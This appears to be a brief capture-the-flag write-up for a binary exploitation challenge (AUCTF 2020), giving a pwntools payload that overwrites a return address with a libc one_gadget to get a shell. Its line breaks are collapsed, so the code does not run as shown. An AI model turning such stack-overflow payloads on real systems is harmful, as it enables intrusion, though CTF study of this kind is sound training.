using one gadget is easy to solve this pwn
```python# gadgetog_off = 0x3ac3cog = libc+og_off
offset = cyclic_find('haaa')payload = cyclic(offset)payload += p32(og)payload += p32(0)*100   # fill stack with '\x00'```
[Details](http://note.taqini.space/#/ctf/AUCTF-2020/?id=house-of-madness)